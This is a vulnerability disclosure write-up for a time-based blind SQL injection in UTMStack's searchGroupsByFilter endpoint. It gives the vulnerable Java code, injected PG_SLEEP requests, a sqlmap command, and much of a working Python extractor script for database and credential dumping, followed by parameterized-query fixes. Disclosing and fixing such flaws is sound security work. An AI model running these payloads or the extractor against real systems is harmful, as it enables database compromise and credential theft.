CVE-2026-82039: SQL Injection in UTMStack Asset Groups Search
A time-based blind SQL injection vulnerability in UTMStack allows authenticated users to execute arbitrary SQL queries against PostgreSQL, enabling full database compromise including credential extraction.

UTMStack's /api/utm-asset-groups/searchGroupsByFilter endpoint directly concatenates user input into SQL queries using String.format(). Inject a PG_SLEEP() payload via the assetType parameter — time-based blind SQLi with DBA privileges confirmed.
Introduction
This vulnerability represents a classic but critical SQL injection flaw in UTMStack, an open-source SIEM and XDR platform. The searchGroupsByFilter endpoint constructs SQL queries through direct string concatenation, allowing any authenticated user to execute arbitrary SQL against the PostgreSQL backend.
What makes this particularly severe: the database user runs with superuser (DBA) privileges, meaning an attacker can read credentials, modify security configurations, and potentially escalate to system-level access.
Root Cause
Direct String Concatenation in Query Builder
The vulnerability exists in UtmAssetGroupService.java where the searchQueryBuilder() method uses String.format() to insert user-controlled values directly into SQL:
private String searchQueryBuilder(AssetGroupFilter filters) {
StringBuilder sb = new StringBuilder();
<span class="c">// Line 125: Direct concatenation with user input!</span>
sb.append(String.format(
"SELECT DISTINCT utm_asset_group.* FROM utm_asset_group " +
"LEFT JOIN utm_network_scan ON utm_asset_group.id = utm_network_scan.group_id " +
"where type = <span class="bad">'%s'</span>\n",
<span class="bad">filters.getAssetType()</span>));
<span class="c">// Line 139-143: groupName also vulnerable</span>
<span class="k">if</span> (StringUtils.hasText(filters.getGroupName())) {
sb.append(where ? "WHERE " : "AND ")
.append(String.format(
"lower(utm_asset_group.group_name) LIKE <span class="bad">'%%%1$s%%'</span>\n",
<span class="bad">filters.getGroupName().toLowerCase()</span>));
}
<span class="c">// ...</span>
}
The same vulnerable pattern appears for type, probe, os, assetIp, and assetName parameters at lines 149, 157, 166, 175, 184, and 193. Any of these can be exploited.
Why This Pattern is Dangerous
The code validates nothing about the input values. When a user sends:
assetType=SERVER' AND 1=(SELECT 1 FROM PG_SLEEP(5))--
The resulting SQL becomes:
SELECT DISTINCT utm_asset_group.* FROM utm_asset_group
LEFT JOIN utm_network_scan ON utm_asset_group.id = utm_network_scan.group_id
WHERE type = 'SERVER' AND 1=(SELECT 1 FROM PG_SLEEP(5))--'
The injected PG_SLEEP(5) executes before the query returns, creating a measurable delay.
Proof of Concept
Prerequisites
- Any authenticated user account
- Target: UTMStack v11.2.13 (tested on default deployment)
- Injection type: Time-based blind only (Error-based, UNION-based, and Stacked queries do NOT work)
Step 1: Establish Baseline
First, measure normal response time with a valid request:
GET /api/utm-asset-groups/searchGroupsByFilter?assetType=SERVER HTTP/1.1
Host: localhost:9999
Authorization: Bearer eyJhbGciOiJIUzUxMiJ9...
Response Time: 0.01s — This is our baseline for comparison.
Step 2: Trigger SQL Error
Inject a single quote to break SQL syntax and confirm input reaches the query parser:
GET /api/utm-asset-groups/searchGroupsByFilter?assetType=SERVER' HTTP/1.1
Host: localhost:9999
Authorization: Bearer eyJhbGciOiJIUzUxMiJ9...
The SQLGrammarException: could not prepare statement confirms our input is directly concatenated into the SQL query without sanitization.
Step 3: Time-Based Injection
Now inject a PG_SLEEP() payload to confirm code execution:
GET /api/utm-asset-groups/searchGroupsByFilter?assetType=SERVER' AND 9101=(SELECT 9101 FROM PG_SLEEP(5)) AND 'x'='x HTTP/1.1
Host: localhost:9999
Authorization: Bearer eyJhbGciOiJIUzUxMiJ9...
Response Time: 10.03s — The 5-second sleep executed twice (once per query branch), confirming arbitrary SQL execution.
Step 4: Automated Exploitation with sqlmap
sqlmap -u "http://localhost:9999/api/utm-asset-groups/searchGroupsByFilter?assetType=SERVER" \
--headers="Authorization: Bearer eyJhbGciOiJIUzUxMiJ9..." \
--dbms=postgresql \
--technique=T \
--batch \
--is-dba
Key findings from sqlmap:
- Parameter:
assetType(GET) is injectable - Type: PostgreSQL > 8.1 AND time-based blind
- Payload:
assetType=SERVER' AND 5737=(SELECT 5737 FROM PG_SLEEP(5)) AND 'LmGb'='LmGb - Current user is DBA: True — Database user has superuser privileges
Step 5: Data Extraction with Custom Exploit
I developed a custom Python exploit for efficient time-based data extraction using binary search:
python3 sqli-extractor.py --action info
# Output:
[*] Baseline: 0.51s (threshold for injection)
[+] Is DBA: True
[+] Database: utmstack
[+] User: postgres
[+] Version: PostgreSQL 13.15 (Debian 13.15-1...
The full exploit script supports:
- Database enumeration (
--action info) - Table listing (
--action tables) - Column enumeration (
--action columns --table <name>) - User credential dumping (
--action dump-users) - Custom SQL extraction (
--action custom --query "<SQL>")
View Full Exploit Code (sqli-extractor.py)
#!/usr/bin/env python3
"""
CVE-2026-82039 - Time-Based Blind SQL Injection Data Extractor
UTMStack /api/utm-asset-groups/searchGroupsByFilter
"""
import requests
import time
import sys
import argparse
from urllib.parse import quote
class SQLiExtractor:
def init(self, base_url, token, delay=3, timeout=15, retries=3):
self.base_url = base_url
self.headers = {"Authorization": f"Bearer {token}"}
self.delay = delay
self.timeout = timeout
self.retries = retries
self.baseline = None
def get_baseline(self):
"""Measure baseline response time"""
times = []
for _ in range(3):
start = time.time()
try:
r = requests.get(
f"{self.base_url}?assetType=SERVER",
headers=self.headers,
timeout=self.timeout
)
times.append(time.time() - start)
except:
times.append(0.5)
self.baseline = max(times) + 0.5
print(f"[*] Baseline: {self.baseline:.2f}s")
return self.baseline
def check_condition_direct(self, condition):
"""Direct conditional sleep"""
payload = f"SERVER' AND (SELECT CASE WHEN ({condition}) THEN PG_SLEEP({self.delay}) ELSE PG_SLEEP(0) END) IS NOT NULL AND 'x'='x"
return self.inject_timed(payload)
def inject_timed(self, payload):
"""Execute injection with precise timing"""
url = f"{self.base_url}?assetType={quote(payload, safe='')}"
for attempt in range(self.retries):
try:
start = time.time()
r = requests.get(url, headers=self.headers, timeout=self.timeout)
elapsed = time.time() - start
if elapsed >= (self.delay - 0.5):
return True
return False
except requests.exceptions.Timeout:
return True
except:
if attempt < self.retries - 1:
time.sleep(0.5)
return False
def extract_char(self, query, position):
"""Extract single character using binary search"""
expr = f"({query})" if query.strip().upper().startswith("SELECT") else query
low, high = 32, 126
while low < high:
mid = (low + high) // 2
condition = f"ASCII(SUBSTRING({expr},{position},1)) > {mid}"
if self.check_condition_direct(condition):
low = mid + 1
else:
high = mid
return chr(low)
def extract_string(self, query, known_length=None):
"""Extract full string result"""
if known_length is None:
known_length = self.extract_length(query)
result = ""
for i in range(1, known_length + 1):
char = self.extract_char(query, i)
result += char
sys.stdout.write(f"\r[+] Progress: {result}")
sys.stdout.flush()
print()
return result
def is_dba(self):
"""Check if current user is superuser"""
condition = "(SELECT usesuper FROM pg_user WHERE usename=current_user) = true"
result = self.check_condition_direct(condition)
print(f"[+] Is DBA: {result}")
return result
Usage: python3 sqli-extractor.py -u "http://target/api/..." -t "JWT" --action info
Impact
An authenticated attacker can leverage this vulnerability to:
Extract all database contents: user credentials, security configurations, alert data, and API keys.
Modify user roles, tamper with security alerts, inject false positives, or disable detection rules.
Drop tables, execute resource-intensive queries, or corrupt the database rendering the SIEM unusable.
Attack Scenarios
- Credential Theft: Extract
jhi_usertable to obtain password hashes for offline cracking - Blind SIEM: Modify detection rules to create blind spots for ongoing attacks
- Lateral Movement: Use extracted API keys or credentials to pivot to other systems
- Evidence Tampering: Delete or modify security logs to cover tracks
CVSS Breakdown
CVSS 3.1 Base Score: 8.6 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Remediation
Replace string concatenation with parameterized queries or JPA Criteria API. Never use String.format() for SQL construction.
Before (Vulnerable)
sb.append(String.format(
"SELECT * FROM utm_asset_group WHERE type = '%s'",
filters.getAssetType()));
After (Fixed)
// Option 1: Native Query with Parameters
String sql = "SELECT * FROM utm_asset_group WHERE type = :assetType";
Query query = em.createNativeQuery(sql, UtmAssetGroup.class);
query.setParameter("assetType", filter.getAssetType());
// Option 2: JPA Criteria API (Recommended)
CriteriaBuilder cb = em.getCriteriaBuilder();
CriteriaQuery<UtmAssetGroup> cq = cb.createQuery(UtmAssetGroup.class);
Root<UtmAssetGroup> root = cq.from(UtmAssetGroup.class);
List<Predicate> predicates = new ArrayList<>();
if (filter.getAssetType() != null) {
predicates.add(cb.equal(root.get("type"), filter.getAssetType()));
}
cq.where(predicates.toArray(new Predicate[0]));
return em.createQuery(cq).getResultList();
Replace all String.format() SQL construction with named parameters.
Implement allowlist validation for the assetType parameter (SERVER, WORKSTATION, etc.).
Run the database connection with minimal required permissions, not as superuser.
Enable database query logging to detect anomalous patterns like PG_SLEEP().
Deploy WAF rules to detect common SQL injection patterns in API parameters.
Timeline
- 10 Oct 2026Discovered
Identified SQL injection in searchGroupsByFilter during code review.
- 10 Oct 2026Reproduced
Confirmed time-based blind SQLi with DBA privileges on v11.2.13.
- 10 Oct 2026Reported
Submitted via GitHub Security Advisory (GHSA draft).
- 11 Oct 2026CVE Assigned
CVE-2026-82039 issued; writeup published.
The Lesson
SQL injection in 2026 should not exist. Yet here we are — a security platform vulnerable to the most documented attack class in web security history.
This vulnerability is a textbook example of CWE-89. The fix is well-understood and has been for decades: parameterized queries. What makes this case particularly concerning is that it exists in a security product — software designed to protect organizations from exactly these kinds of attacks.
The presence of multiple injection points (6+ parameters) suggests a systemic pattern rather than an isolated mistake. When reviewing Java applications, grep for String.format combined with SQL keywords — it's often a reliable indicator of injectable code.
References
This vulnerability was discovered through ethical security research and responsibly disclosed through GitHub Security Advisories. All exploitation was performed in isolated lab environments.
Adam Nurudini